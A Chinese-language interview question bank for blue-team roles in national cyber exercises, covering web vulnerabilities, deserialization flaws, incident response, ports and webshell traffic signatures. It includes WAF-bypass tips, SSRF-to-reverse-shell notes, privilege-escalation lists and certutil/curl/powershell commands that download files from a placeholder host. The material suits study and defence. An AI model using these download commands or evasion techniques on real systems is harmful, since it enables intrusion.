题库
HW面试官了解情况
护网担任角色
监控 研判 处置
应急
溯源
带队
接触过哪些安全设备
Waf
(启明星辰 天清WEB应用安全网关)
IPS
(启明星辰 天清入侵防御系统)
入侵防御系统(IPS一般也是在网络层旁路,可以理解为具备阻断能力的IDS,是IDS的升级版(也有IDS检测到攻击通知阻断设备执行阻断动作的设备联动模式),可以覆盖网络层和应用层)
IDS(Intrusion-Detection System)
入侵检测系统
原理
IDS工作在网络层,旁路部署,通过抓取和分析网络流量来发现攻击
HIDS (Host-based Intrusion Detection System)
主机入侵检测系统(青藤云设备 奇安信椒图)
原理
作为计算机系统的监视器和分析器,专注于系统内部,监视主机的动态行为以及整个计算机系统的状态。能对检测的入侵行为做出快速的响应。
前期准备工作
基线检查、红队演习、安全加固
安全设备
WAF绕过
1.fuzz 确认拦截了什么函数
1.输入参数强制类型转换(intval等)
2.输入参数合法性检测
3.关键函数执行(SQL执行、页面显示、命令执行等)前,对经过代码流程的输入进行检测
4.对输入的数据进行替换过滤后再继续执行代码流程(转义/替换特殊字符等)
大小写混写
替换关键字
使用注释
多参数请求拆分
将GET的参数a和参数b拼接到SQL语句中
HTTP参数污染
生僻字函数
寻找网站源站IP
常见的寻找网站IP方法有下面几种
寻找网站的历史解析记录
多个不同区域ping网站,查看IP解析的结果
找网站的二级域名、NS、MX记录等对应IP
订阅网站邮件,查看邮件发送方的IP
第一:修改客户端ip
第二:减慢扫描速度
第三:通过代理欺骗waf
Github(给的害不)有字典
发子(fuzz)
Web Top10
\1. SQL注入
\2. 失效的身份认证
\3. 敏感数据泄露
\4. XML外部实体(XXE)
\5. 失效的访问控制
\6. 安全配置错误
\7. 跨站脚本(XSS)
\8. 不安全的反序列化
\9. 使用含有已知漏洞的组件
\10. 不足的日志记录和监控
SQL注入原理
# WEB应用程序对用户输入的数据
# 没有过滤或者过滤的不严谨
# 并且把用户输入的数据当作SQL 语句
# 带入到数据中去执行
当程序执⾏访问新闻等⼀些操作都会执⾏到 sql 语句进⾏调⽤,如果在此调⽤过程中,提交了不合法的数据,⽽数据库
2-SQL注入分类
# 从反馈结果来分
1-回显型
2-无回显型/盲注
# 从攻击手法上来分
1-联合查询注入 union select
2-堆叠注入 ;
3-报错注入 updatexml、floor、ExtractValue 、exp其他的用的不多不用说
4-盲注
4.1-布尔盲注
4.2-时间盲注
注⼊类型有 6 种,可以参考 SQLMAP,报错、盲注、联合、时间、内联、堆叠
注⼊提交⽅式:GET、POST、Cookies、⽂件头
七、盲注是什么?怎么盲注?
盲注是在 SQL 注⼊攻击过程中,服务器关闭了错误回显,我们单纯通过服务器返回内容的变化来判断是否存在 SQL 注
⼊和利⽤的⽅式。盲注的⼿段有两种,⼀个是通过⻚⾯的返回内容是否正确 (boolean-based),来验证是否存在注⼊。
⼀个是通过 sql 语句处理时间的不同来判断是否存在注⼊ (time-based),在这⾥,可以⽤ benchmark,sleep 等造成延
如何突破注入时字符被转义?
- 宽字符注入
- hex编码绕过
3-SQL注入防御
# 代码层防御
1-对用户输入的内容进行转义(PHP中addslashes()、mysql_real_escape()函数)。
2-限制关键字的输入(PHP中preg_replace()函数正则替换关键字),限制输入的长度 。
3-使用SQL语句预处理,对SQL语句首先进行预编译,然后进行参数绑定,最后传入参数。
# 网络层面
部署防护墙和软硬WAF
SSRF原理
服务器请求伪造,服务端提供了从其他服务器应用获取数据的功能,且没有对目标地址做过滤与限制,服务器就以服务器自己的身份去访问其他服务器的资源。
1- 服务器允许向其他服务器获取资源
2- 但是并没有对该地址做严格的过滤和限制
3- 所以导致了攻击者可以向受害者服务器,传入任意的URL 地址,并将数据返回
SSRF危害
1- SSRF漏洞几乎无所不能
2- SQL注入
3- Sturts2 ()
4- 端口探测
5- 敏感信息泄露
# 最为主要的就是能够访问到外网无法访问的系统和服务器,漫游内网
SSRF防御
1- 地址做白名单处理
2- 域名识别ip,过滤内部ip
3- 并校验返回的内容对比是否与假定的一致
SSRF挖掘
1.分享:通过URL地址分享网页内容
2.转码服务
3.在线翻译
4.图片加载与下载:通过URL地址加载或下载图片
5.图片、文章收藏功能
6.未公开的api实现以及其他调用URL的功能
7.从URL关键字中寻找,Share、wap、url、link、src、source、target、u、3g、display、sourceURL、imageURL、domain
CSRF攻击原理
这个网站可以在网页源代码中插入js代码,使用js代码给其他服务器发送请求,那么因为在发送请求的时候,浏览器会自动的把cookie发送给对应的服务器,这时候相应的服务器(比如ICBC网站),就不知道这个请求是伪造的,就被欺骗过去了。从而达到在用户不知情的情况下,给某个服务器发送了一个请求(比如转账)。
1- 用户在统一浏览器下
2- 没有关闭浏览器的情况下
3- 访问了攻击者精心伪装好的恶意链接
XSS原理
1-XSS漏洞是跨站脚本攻击
2-是HTML代码的注入
3-他是通过对网页,注入浏览器可执行的代码,从而实现的攻击手段。
web页面插入恶意Js代码,浏览器解析执行获取用户cookie。
xss防御
- 正则过滤(标签/js代码/事件)
- 用户的输入进行html编码输出(无法进行闭合)
- 服务端设置会话Cookie的HTTP Only属性(不能获取cookie)
存储型 xss 原理?
如⽹站留⾔版,把插⼊的记录存储在数据库中,插⼊的代码会⼀直留在⻚⾯上,当其它⽤户访问会从数据库中读取并触发
Xss分类
1-反射型
2-存储型
3-DOM型
# 反射型 和 存储型
都需需要经过服务器解析,并与数据库产生交互
# DOM 型
只需要经过前端解析,不与数据库产生交互
# 存储型 和 DOM型
都会将攻击代码长期存在受害者服务器
# 反射型
而反射型,只会反弹一次攻击代码
XSS,CSRF,SSRF三种漏洞的区别和共同点
相同点:
XSS,CSRF,SSRF三种常见的Web服务端漏洞均是由于,服务器端对用户提供的可控数据过于信任或者过滤不严导致的。
不同点:
XSS是服务器对用户输入的数据没有进行足够的过滤,导致客户端浏览器在渲染服务器返回的html页面时,出现了预期值之外的 脚本语句被执行。
CSRF是服务器端没有对用户提交的数据进行随机值校验,且对http请求包内的refer字段校验不严,导致攻击者可以 利用用户的Cookie信息伪造用户请求发送至服务器。
SSRF是服务器对 用户提供的可控URL过于信任,没有对攻击者提供的RUL进行地址限制和足够的检测,导致攻击者可以以此为跳板攻击内网或其他服务器。
- CSRF是跨站请求伪造攻击,由客户端发起
- SSRF是服务器端请求伪造,由服务器发起
- 重放攻击是将截获的数据包进行重放,达到身份认证等目的
1、⾦融⾏业常⻅逻辑漏洞
单针对⾦融业务的 主要是数据的篡改 (涉及⾦融数据,或部分业务的判断数据),由竞争条件或者设计不当引起的薅⽺
Weblogic(了杰克)反序列化
常开放于7001/7002端口
Weblogic(及其他很多java服务器应用)在通信过程中传输数据对象,涉及到序列化和反序列化操
作,如果能找到某个类在反序列化过程中能执行某些奇怪的代码,就有可能通过控制这些代码达到RCE
的效果
• 常见的weblogic漏洞
\1. #CVE-2016-0638
Weblogic 直接反序列化
基于Weblogic t3协议引起远程代码执行的反序列化漏洞
漏洞实为CVE-2015-4852绕过
拜Oracle一直以来的黑名单修复方式所赐
\2. #CVE-2016-3510
基于Weblogic t3协议引起远程代码执行的反序列化漏洞
\3. #CVE-2017-3248
基于Weblogic t3协议引起远程代码执行的反序列化漏洞
属于Weblogic JRMP反序列化
\4. #CVE-2018-2628
基于Weblogic t3协议引起远程代码执行的反序列化漏洞
属于 Weblogic JRMP反序列化
\5. #CVE-2018-2893
基于Weblogic t3协议引起远程代码执行的反序列化漏洞
实为CVE-2018-2628绕过
同样拜Oracle一直以来的黑名单修复方式所赐
属于Weblogic JRMP反序列化
weblogic权限绕过
CVE-2020-14882:
远程攻击者可以构造特殊的HTTP请求,在未经身份验证的情况下接管 WebLogic 管理控制台。
攻击者可以构造特殊请求的URL,即可未授权访问到管理后台页面,访问后台后是一个低权限的用
户,无法安装应用, 也无法直接执行任意代码。
CVE-2020-14883:
允许后台任意用户通过HTTP协议执行任意命令。使用这两个漏洞组成的利用链,可通过一个HTTP
请求在远程Weblogic
服务器上以未授权的任意用户身份执行命令。
漏洞利用
第一种方法是通过com.tangosol.coherence.mvel2.sh.ShellSession
第二种方法是通过
com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplic
ationContext
104-常见的中间件及漏洞
\1. Tomcat(汤姆卡特) 端口8080 远程代码执行 war后门文件部署
\2. WebLogic(WEB了杰克) 端口 7001 反序列化漏洞 任意文件上传 war后门文件部署
\3. Apache(阿帕奇) 端口号 80 解析漏洞 目录遍历
\4. Nginx (嗯急肯死)文件解析 目录遍历 目录穿越
\5. jBoss 反序列化漏洞 未授权访问
\6. iiS 解析漏洞 远程代码执行
Jboss(衣BOSS) 反序列化
jboss的反序列化漏洞出现在jboss\server\all\deploy\httpha-
invoker.sar\invoker.war\WEB-INF\classes\org\jboss\invocation\http\servlet(色不了特)目录
下的ReadOnlyAccessFilter.class文件中的doFilter(都非t)中。
程序获取http数据保存到了httpRequest(瑞快死)中,序列化后保存到了ois中,然后没有进行过滤操作,直接
使用了readObject()进行了反序列化操作保存到了mi变量中,这其实就是一个典型的java反序列化
漏洞。
Shrio(细肉)反序列化漏洞原理
shrio550的原理
Apache Shiro框架提供了记住密码的功能(RememberMe),用户登录成功后会生成经过加密并
编码的cookie。在服务
端对rememberMe(记住密码)的cookie值,先base64解码然后AES解密再反序列化,就导致了反序列化RCE漏
洞。
payload产生过程
命令=>序列化=>AES加密=>base64编码=>RememberMe(记住密码) Cookie值
shrio721原理
由于Apache Shiro cookie中通过 AES-128-CBC 模式加密的rememberMe字段存在问题,用
户可通过Padding Oracle
加密生成的攻击代码来构造恶意的rememberMe字段,并重新请求网站,进行反序列化攻击,最终
导致任意代码执行。
cookie字段使用默认key解密后,反序列化数据中加入 恶意payload
平常怎么去发现shiro漏洞的
答:登陆失败时候会返回rememberMe=deleteMe字段或者使用shiroScan(细肉死干)被动扫描去发现。
完整:
未登陆的情况下,请求包的cookie中没有rememberMe字段,返回包set-Cookie里也没有deleteMe字段
登陆失败的话,不管勾选RememberMe字段没有,返回包都会有rememberMe=deleteMe字段
不勾选RememberMe字段,登陆成功的话,返回包set-Cookie会有rememberMe=deleteMe字段。但是之后的所有请求中Cookie都不会有rememberMe字段
勾选RememberMe字段,登陆成功的话,返回包set-Cookie会有rememberMe=deleteMe字段,还会有rememberMe字段,之后的所有请求中Cookie都会有rememberMe字段
问:shiro有几种漏洞类型
答:shiro 550
shiro 721
Shiro 550 shiro 721 漏洞区别
Shiro-550(<1.2.4版本)(AES加密)不需要有效的用户cookie,只要遍历到正确的key,就可以利用(漏洞产生就是因为默认key)
Shiro-721(<1.4.2版本) (AES-128-CBC 模式加密)条件受限,需要一个已经登录/合法的用户cookie,进行Padding Oracle填充攻击构造恶意的反序列化。
如何辨别shiro是否利用成功?
- 大部分shiro存在回显,响应包存在回显消息,也可能不回显或者直接反弹shell
- 与设备运维人员确认是否使用默认Key,shiro版本等,如果使用默认key,使用key对疑似攻击请求包进行解密研判。
shrio550的特征
返回包中包含rememberMe=deleteMe字段。
Shiro-550(<1.2.4版本)(AES加密)不需要有效的用户cookie,只要遍历到正确的key,就可以利用(漏洞产生就是因为默认key)
Shiro-721(<1.4.2版本) (AES-128-CBC 模式加密)条件受限,需要一个已经登录/合法的用户cookie,进行Padding Oracle填充攻击构造恶意的反序列化。
问:fastjson(法死特杰树)漏洞利用原理
回答:在请求包里面中发送恶意的json(杰树)格式payload(陪楼),漏洞在处理json对象的时候,没有对@type(太普)字段进行过滤,从而导致攻击者可以传入恶意的TemplatesImpl(模板)类,而这个类有一个字段就是_bytecodes(拜扣瓷),有部分函数会根据这个_bytecodes生成java实例,这就达到fastjson通过字段传入一个类,再通过这个类被生成时执行构造函数。
fastjson不出网利用
是阿里巴巴的开源JSON解析库,是一个 Java 库,可以将 Java 对象转换为 JSON 格式,当然它也可以将 JSON 字符串转换为 Java 对象
1.写文件利用链,webshell
2.去构造一个回显
3.去构造一个时间盲注 报路径
Log4j2漏洞原理
Log4j2 中提供了Lookups(勒卡不死) 机制,用于添加一些特殊值到日志中,在 Lookups 机制中,由于 JNDI 功能没有对名称解析做限制,而某些协议是不安全的,可以允许远程代码执行,从而导致RCE漏洞。
log4j2流量特征
懂得都懂
${}
Ldap
Ip
Struts2(S撞S土)量特征
1.GET,POST,content-type
2.*.action文件/*.jsp文件
3.JAVA开发
4.OGNL表达式注入
\5. %
6.%{
如何判断log4j2是否利用成功?
- 配合ids主机防御系统,查看目标主机是否存在外带攻击
- 查看流量态势,目标主机是否存在 dnslog活动
- 下载目标恶意类,查看目标恶意类执行什么内容
人员回答
- 出网一般走 rmi ldap
Cookie字段你会测试什么内容?
sql注入
越权
Log4j2
shiro
403/访问/目录/突破
1.修改host(后死特)
2.扩展名绕过
3.覆盖请求url
4.Referer 标头
5.fuzz下级目录
逻辑漏洞
身份验证漏洞
权限类逻辑漏洞(水平,垂直,未授权)
图形验证码漏洞
找回密码逻辑漏洞
业务数据篡改漏洞
支付漏洞理解
后端与前端检验不严谨,缺乏多重校验
越权/分类
垂直,水平(两者区别是什么)
越权/原理
缺乏对用户身份的严格校验,存在缺陷的验证机制
逻辑越权和水平越权的区别:
水平越权:用户在权限相同级别下的组,可以进行越权访问、修改、删除数据
逻辑越权:用户可以在不同权限的组下,进行高级别的权限访问
JAVA反序列化
Java序列化是指把Java对象转换为字节序列的过程;
Java反序列化是指把字节序列恢复为Java对象的过程;
Java应用对用户输入,即不可信数据做了反序列化处理,那么攻击者可以通过构造恶意输入,让反序列化产生非预期的对象,非预期的对象在产生过程中就有可能带来任意代码执行。
JAVA Java 序列化是指把 Java 对象转换为字节序列的过程便于保存在内存、⽂件、数据库中,ObjectOutputStream(对象输出流) 类的 (瑞的杰克)writeObject() ⽅法可以实现序列化。Java 反序列化是指把字节序列恢复为 Java 对象的过程,ObjectInputStream 类的 readObject() ⽅法⽤于反序列化。
Xxe原理(xml外部实体注入)
就是服务器开启了xml传输的函数,在POST表单页面可以构造playload进行绕
过,进而造成命令执行,源码读取,文件信息泄露等。
XML外部实体注入,在应用程序解析XML输入时,当允许引用外部实体时,可构造恶意内容,产生漏洞。
服务端解析用户提交的XML文件时,未对XML文件引用的外部实体(含外部一般实体和外部参数实体)做合适的处理,并且实体的URL支持 file:// 和 ftp:// 等协议,导致可加载恶意外部文件 和 代码,造成任意文件读取、命令执行、内网端口扫描、攻击内网网站等危害
# XXE漏洞就是xml外部实体注入漏洞,
通常和危害一起回答出来会感觉更加流畅和自然
# 通常发生在应用程序解析XML输入时,没有禁止外部实体的加载,
导致可加载恶意外部文件,
造成文件读取、
命令执行、
内网端口扫描、
攻击内网网站、
发起dos攻击等危害。
应急响应流程
Wireshark(Y儿杀克)进行流量分析
wireshark 简单的过滤规则
过滤 ip:
过滤源 ip 地址:
ip.src==1.1.1.1;
, ⽬的 ip 地址:
ip.dst==1.1.1.1;
过滤端⼝:
过滤 80 端⼝:
tcp.port==80
, 源端⼝:
tcp.srcport==80
, ⽬的端⼝:
tcp.dstport==80
协议过滤:
直接输⼊协议名即可, 如 http 协议
http
http 模式过滤:
过滤 get/post 包
Windows系统日志:Windows系统自带的审计日志、操作日志、故障日志。
Linux系统日志:Linux系统自带的审计日志、操作日志、故障日志。
应用日志:包括但不限于Web应用等众多繁杂的日志。
Linux日志:“/var/log
WIN
4624 | 登录成功 |
---|---|
4625 | 登录失败 |
4634 | 账号被注销 |
5672 4720 |
管理员用户登录 创建用户 |
4625登陆事件
微步在线
网络(非法链接) 是否仍然存在数据外传、非法外联等行为。 进程(服务、端口) 是否仍然存在伪造的木马进程。 自启动项目 处理完成后是否仍会开机自启。 文件 是否仍然存在残留后门或恶意文件。 日志 日志中是否记录了黑客的攻击路径和利用方式。 驱动 底层是否存在可被利用的漏洞驱动版本。 软件版本 部分软件版本存在明显安全漏洞或者配置问题。
37、有哪些反向代理的⼯具?
reGeirg、EW、lcx、Ngrok、frp
3、漏洞利⽤ & 权限提升
a、 mysql 提权 serv u 提权 oracle 提权
b、windows 溢出提权
c、linux 脏⽜, 内核漏洞提权 e
提权服务器,⽐如 windows 下 mysql 的 udf 提权,serv-u 提权,windows 低版本的漏洞,如 iis6,pr, 巴⻄烤⾁,linux
脏⽜漏洞,linux 内核版本漏洞提权,linux 下的 mysql system 提权以及 oracle 低权限提权
小程序的渗透和普通渗透的差异
渗透过程不变,依旧是抓包修改参数渗透 不同点是小程序会将包下载到本地,可以使用逆向还原工具反编译
Spring(死润)
php 中命令执⾏涉及到的函数
代码执⾏:eval()、assert()、popen()、system()、exec()、shell_exec()、
passthru(),pcntl_exec(),call_user_func_array(),create_function()⽂件读取:fifile_get_contents(),highlight_fifile(),fopen(),read fifile(),fread(),fgetss(),
fgets(),parse_ini_fifile(),show_source(),fifile() 等
命令执⾏:system(), exec(), shell_exec(), passthru() ,pcntl_exec(), popen(),proc_open()
66-文件包含都有哪些伪协议?
file:// 访问本地文件系统
http:// 访问 HTTPs 网址
ftp:// 访问 ftp URL
Php:// 访问输入输出流
Zlib:// 压缩流
Data:// 数据
Ssh2:// security shell2
Expect:// 处理交互式的流
Glob:// 查找匹配的文件路径
41-了解那些端口?
web网站
80 web
80-89 web
8000-9090 web
8080 Tomcat Web
数据库
1433 MSSQL
1521 Oracle
3306 MySQL
5432 PostgreSQL
50000 DB2
特殊服务类
443 SSL心脏滴血
445 ms08067/ms11058/ms17010等
873 Rsync未授权
2049 通过网络,跨平台实现文件共享
4000 腾讯QQ客户端
5984 CouchDB http://xxx:5984/_utils/
6379 redis未授权
7001,7002 WebLogic默认弱口令,反序列
9200,9300 elasticsearch 参考WooYun: 多玩某服务器ElasticSearch命令执行漏洞
11211 memcache未授权访问
27017,27018 Mongodb未授权访问
50000 SAP命令执行
50070,50030 hadoop默认端口未授权访问
常用端口类
20 ftp : FTP服务器真正传输所用的端口,用于上传、下载
21 ftp : 用于FTP的登陆认证
22 SSH、SFTP : 加密的远程登录;文件传输
23 Telnet: 远程登录(在本地主机上使用此端口与远程服务器的22/3389端口连接)
25 SMTP: 用于发送邮件
P3: SUN公司的RPC服务所有端口
445 SMB 弱口令扫描
2601,2604 zebra 路由,默认密码zebra
3389 远程桌面
2、问:常用的nmap命令是什么呢?
答:-O,探测操作系统信息;-A,扫描操作系统和服务器版本,跟踪路由;-T,设置扫
描强度;-Pn,不ping扫描。
哪些漏洞被高频打点.
\1. Apache Shiro 相关漏洞
\2. Fastjson 漏洞
\3. Log4j
\4. 上传漏洞
\5. 边界网络设备资产 + 弱口令
在外网打点过程中, 常用的信息收集工 具有哪些?
ENScan 企业信息查询工具
Oneforall 子域名收集工具
水泽 信息收集自动化工具
FOFA、Goby 网络空间资产检索\攻击面测绘工具
Masscan 端口扫描工具
ARL 资产安全灯塔 快速侦察与目标关联的资产工具
常见的数据库对应的端口
Mysql 3306
Oracle 1521
Sql sver 1433
DB2 5000
Postgresql 5432
DM 5236
Redis 6379
常见网页状态码
403 资源不存在
- 无响应
500 服务器内部错误
windows远程下载
certutil -urlcache -split -f http://xx.xx.xx.xx/test.zip c: est.zip (windows远程下载文件至本地,仅需要一个cmd执行的地方)
curl http://xx.xx.xx.xx/test.zip -o c: est.zip
powershell -c "invoke-webrequest -uri http://xx.xx.xx.xx/test.zip -outfile test.zip"
哥斯拉流量特征
User-Agent会类似于java/1.8.0_121
cookie当中会有分号
请求体:对原始数据进行base64编码以及原始的加密raw两种形式通讯数据
响应体:如果请求体是base64加密的响应的也是base64加密,响应体会出现一个非常明显的固定特征。
菜刀的特征
Ua头为百度爬虫
请求体中会存在eval、base64等特征字符
请求体进行base64加密
冰蝎3.0流量特征
User-agent
冰蝎3.0每次请求都会随机生成一个user-agent,如果不做设置,冰蝎当中存在16个user-agent,会随机选择一个,但都是比较老的
Accept&Cache-Control
如果没有设置这个,会显示如下,正常访问accept头不会如此简单
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Cache-Control: no-cache
Pragma: no-cache
User-Agent: java/1.8
content-length 请求长度
任何请求,最终都会调用Utils.getData函数,对请求的参数加密。对于上传文件,命令执行来讲,加密的参数不定长。但是对于密钥交互,获取基本信息来讲,payload都为定长,且无随机padding
日志主要看那些
Win
系统日志
应用程序日志
安全日志
Linux
登陆日志
安全日志
Web日志
溯源
IP溯源
身份ID溯源
登录页面如何做加固
设置token
设置验证
挂静态页面
登陆错误限制次数
refer验证
应急响应思路
响应
判断事件类型
信息收集
阻断
封堵
关闭网络
下线
分析
日志
流量
攻击样本
清除
加固
登录页面的渗透思路
爆破
万能密码绕过
登陆口sql注入
用户枚举
逻辑漏洞
任意密码重置
任意用户注册
短信轰炸
不安全登陆
验证码可修改接受者
登录验证码可绕过
验证码回显前端
HW问题
护网担任角色
监控 研判 处置
应急
溯源
带队
接触过哪些安全设备
Waf
ips 入侵防御系统(IPS一般也是在网络层旁路,可以理解为具备阻断能力的IDS,是IDS的升级版(也有IDS检测到攻击通知阻断设备执行阻断动作的设备联动模式),可以覆盖网络层和应用层)
ids 入侵检测系统(IDS工作在网络层,旁路部署,通过抓取和分析网络流量来发现攻击)
(奇安信天眼)
hids 主机入侵检测系统(青藤云设备 奇安信椒图)
设备原理
前期准备工作
基线检查、红队演习、安全加固
应急得分案例
溯源得分案例
研判分析
web基础
Web Top10
1. SQL注入
2. 失效的身份认证
3. 敏感数据泄露
4. XML外部实体(XXE)
5. 失效的访问控制
6. 安全配置错误
7. 跨站脚本(XSS)
8. 不安全的反序列化
9. 使用含有已知漏洞的组件
10. 不足的日志记录和监控
SSRF CSRF区别
客户端/服务端/请求伪造
SSRF原理/利用/防御/绕过/挖掘
服务器请求伪造,服务端提供了从其他服务器应用获取数据的功能,且没有对目标地址做过滤与限制,服务器就以服务器自己的身份去访问其他服务器的资源。
SSRF 防御
- 设置URL白名单或者限制内网IP
- 统一错误信息,避免用户可以根据错误信息来判断远程服务器端口状态
- 限制请求的端口为HTTP常用的端口,比如 80,443,8080,8088等
- 禁用不需要的协议,仅仅允许HTTP和HTTPS
SSRF利用
1.dict协议,泄露安装软件版本信息,查看端口,操作内网redis服务等 2.file协议,在有回显的情况下,利用 file 协议可以读取任意内容
3.gopher:gopher支持发出GET、POST请求:可以先截获get请求包和post请求包,再构造成符合gopher协议的请求。gopher协议是ssrf利用中一个最强大的协议(俗称万能协议)。可用于反弹shell
4.http/s协议,探测内网主机存活
SSRF挖掘
1.分享:通过URL地址分享网页内容
2.转码服务
3.在线翻译
4.图片加载与下载:通过URL地址加载或下载图片
5.图片、文章收藏功能
6.未公开的api实现以及其他调用URL的功能
7.从URL关键字中寻找,Share、wap、url、link、src、source、target、u、3g、display、sourceURL、imageURL、domain
Xss原理/分类/防御/绕过/挖掘
xss原理
web页面用户输入可控,插入恶意Js代码或被存储进数据库中,浏览器解析执行获取用户cookie。
xss分类
反射性/dom型/存储
xss防御
- 正则过滤(标签/js代码/事件)
- 用户的输入进行html编码输出(无法进行闭合)
- 服务端设置会话Cookie的HTTP Only属性(不能获取cookie)
- 限制长度
xss绕过
- 大小写/双写/镶嵌
- url编码/html实体编码/编码单个字符
- 禁用哪些标签,更换标签